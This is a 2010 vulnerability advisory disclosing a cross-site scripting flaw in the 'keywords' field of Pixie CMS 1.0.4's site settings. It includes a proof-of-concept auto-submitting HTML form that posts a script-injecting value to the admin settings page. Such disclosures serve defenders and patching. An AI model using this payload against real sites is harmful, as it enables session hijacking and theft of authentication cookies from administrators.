XSS vulnerability in Pixie
| Vulnerability ID: | HTB22468 |
| Product: | Pixie |
| Vendor: | Toggle Labs Ltd ( http://www.getpixie.co.uk/ ) |
| Vulnerable Version: | 1.0.4 and Probably Prior Versions |
| Vendor Notification: | 01 July 2010 |
| Public Disclosure: | 15 July 2010 |
| Vulnerability Type: | XSS (Cross Site Scripting) |
| Status: | Not Fixed, Vendor Alerted, Awaiting Vendor Response |
| Risk level: | Medium |
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| Credit: | High-Tech Bridge SA |
Vulnerability Details: | |
| User can execute arbitrary JavaScript code within the vulnerable application. The vulnerability exists due to failure in the site settings saving script to properly sanitize user-supplied input in "keywords" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. An attacker can use browser to exploit this vulnerability. The following PoC is available: <form accept-charset="UTF-8" action="http://host/admin/index.php?s=settings&x=site" method="post" name="main" > <input type="hidden" name="sitename" value="Pixie" /> <input type="hidden" name="url" value="http://host/" /> <input type="hidden" name="default" value="blog/" /> <input type="hidden" name="keywords" value='key1"><script>alert(document.cookie)</script>' /> <input type="hidden" name="site_auth" value="sute author" /> <input type="hidden" name="site_cright" value="copyright" /> <input type="hidden" name="cleanurls" value="yes" /> <input type="submit" name="settings_edit" id="form_addedit_submit" value="Update" /> </form> <script> document.getElementById('form_addedit_submit').click(); </script> | |
Solution: | |
| Currently we are not aware of any vendor-supplied patches or other solutions. If you are aware of more recent information related to this issue please notify us: | |
